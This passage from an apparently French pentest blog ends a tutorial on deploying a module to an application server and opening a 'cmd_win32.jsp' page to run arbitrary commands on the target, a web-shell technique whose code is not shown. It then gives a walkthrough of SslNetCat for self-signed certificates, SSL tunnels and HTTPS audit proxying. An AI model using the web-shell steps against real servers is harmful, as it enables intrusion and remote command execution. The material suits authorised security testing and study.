• Cliquez sur "Parcourir" pour sélectionner le module ;
• Retrouvez le module sur votre machine ;
  
• Il ne vous restera plus qu'à cliquer sur le bouton "Upload".
  

Vous arrivez sur la page suivante :


Une fois cette opération réussie, il faut :

• Revenir sur le premier onglet, nommé "Deployment" ;
• Le module uploadé devrait apparaître dans la colonne de gauche de la page principale. Cliquez dessus pour le sélectionné ;
• Cliquez sur le bouton ">>>" pour le déployer (partie droite) ;
• Cliquez sur le bouton "Apply" pour finaliser cette étape.

Sur la page suivante, cliquez sur "Confirm" :



3 - Exécuter des commandes arbitraires

Dans votre navigateur, entrer l'URL : http://192.168.123.123:9000/mission-security/

Maintenant, c'est à votre imagination de jouer mais voici certainement l'exemple le plus convaincant :

• Cliquer sur le répertoire "win32/" (toujours en admettant que la cible est sous WIN*) ;
• puis sur la page "cmd_win32.jsp" (ou accessible directement en tapant l'URL http://192.168.123.123:9000/mission-security/win32/cmd_win32.jsp) ;
• Tapez la commande de votre choix. Ici, la commande dir en tant qu'exemple.
  

Plus exactement, le code de cette page est le suivant :


Et maintenant, Have fun !

[SECURITY TOOL] SSL power with SslNetcat!

Le protocole SSL est largement utilisé et il n'est plus besoin aujourd'hui de le présenter. Mais dans la pratique, il nous est indispensable pour sécuriser les communications par exemple. Aussi, lors de l'audit comme celui d'un site WEB en HTTPS, il nous sera très utile de communiquer via ce protocole pour effectuer nos tests. Un outil va nous servir de couteau-suisse ici, il s'agit de SslNetCat.

0 - Préparation et contexte

Pour la suite de nos travaux pratiques, nous commençons par télécharger le script SslNetCat disponible ici. Puisqu'il s'agit d'un script perl, soyons explicite et il sera enregistré ici en tant que scnc.pl. Il faut le télécharger sur une machine cliente ET une machine serveur.

Pour exécuter le script perl, nous aurons besoin de modules perl. Attention, la liste peut être différente pour votre machine :

# perl -MCPAN -e 'install "Net::SSLeay"'
# perl -MCPAN -e 'install "IO::Socket::SSL"'
# perl -MCPAN -e 'install "Net::Telnet"'
# perl -MCPAN -e 'install "IO::Socket::INET6"'

Concernant le contexte, nous avons donc besoin de deux machines. L'OS est indépendant, le tout est que vous puissiez exécuter le script perl téléchargé. Dans notre cas, nous aurons :

• Une machine serveur sous Linux, 192.168.0.10 (valeur modifiée) ;
• Une machine cliente sous Linux, 192.168.0.20 (valeur modifiée) ;

Dans la suite de ce post, nous allons reprendre les exemples de l'auteur mais en expliquant de bout en bout les cas pratiques afin que vous puissiez facilement utiliser l'outil. C'est ainsi que nous débuterons dès la génération du certificat par exemple. A noter cependant que si le but est seulement de s'exercer, l'auteur de l'outil propose des certificats et des clés de test.


1 - Créer un tunnel SSL pour sécuriser ses communications

NB : Aller directement à la partie 1.2 si vous utilisez les certificats proposés par GomoR.

1.1 - Création des certificats

1.1.1 - Etablissement de la CA

Nous utilisons openssl (que vous devez avoir mis à jour si vous êtes sous Debian !!! cf. vulnérabilité critique). Aussi, nous devons déterminer une autorité de certification (dénommée ensuite CA) pour signer le certificat mais ici, il s'agira d'un certificat auto-signé, quand bien même cela n'a aucune valeur d'un point de vue sécurité, le principe reste identique.

# openssl req -new -x509 -keyout ca-msblog.key -out ca-msblog.crt

Nous obtenons deux fichiers : ca-msblog.crt (certificat) et ca-msblog.key (clé privée) de la CA.

1.1.2 - Génération du certificat côté serveur

# openssl req -new -keyout server-msblog.key -out server-msblog.csr

Puisque le certificat sera signé localement par la CA, nous n'utilisons pas les attributs supplémentaires ("extra"). Deux nouveaux fichiers sont générés : server-msblog.key et server-msblog.csr. Envoyer ce dernier au CA s'il ne s'agit pas de la même machine.

Commençons par préparer le magasin de certificats pour la CA :

# vi /usr/lib/ssl/openssl.conf

Trouvez la ligne commençant par dir et modifiez ./demoCA par ./msblogCA.

# mkdir ./msblogCA
# cd msblogCA
# touch index.txt
# mkdir newcerts
# echo "01" > serial

Puis créons le certificat serveur lui-même :

# cd ..

# openssl ca -cert ca-msblog.crt -keyfile ca-msblog.key -out server-msblog.crt -in server-msblog.csr

Acceptez le certificat en tapant 'y' quand cela est demandé (deux fois) :

Nous venons de créer le certificat server-msblog.crt. Nous avons tous les fichiers nécessaires ;)

1.2 - Créer un tunnel de communication chiffré

1.2.1 Mettre le serveur en écoute sur le port 12345 et rediriger le trafic sur le port 80

# perl scnc.pl -vc -a ca-msblog.crt -f server-msblog.crt -k server-msblog.key -p 12345 -r localhost:80

12.2 Lancer la connexion du client vers le serveur

# perl scnc.pl -v -s localhost -p 6789 -r server:12345::ssl

2 - Audit d'un serveur Web en HTTPS

Il s'agit ici de faire de notre client un proxy SSL qui nous servira à auditer le serveur Web.

2.1 - Préparation

Nous avons besoin d'un certificat et d'une clé privée pour ce client. Ces deux éléments seront générés de la même manière que nous l'avons fait pour le serveur précédemment (cf. 1.1.2). Ainsi, nous obtenons client-msblog.crt et client-msblog.key.

2.2 - Tests pour l'audit

Pour commencer l'audit, il suffit de se connecter (sur le client avec serveur audité, 192.168.0.10) :

# perl scnc.pl -v -r 192.168.0.10:443::ssl -a ca2-msblog.crt -f client-msblog.crt -k client-msblog.key -s localhost -p 1234

NB : il faudra retourner sur la "machine-proxy", entrer éventuellement la passphrase.

Puis de lancer nos commandes (sur le client toujours - exemple) :

# perl scnc.pl -v localhost 1234
# GET / HTTP/1.0

De même, utiliser l'adresse loopback dans les outils utilisés pour l'audit du serveur HTTPS.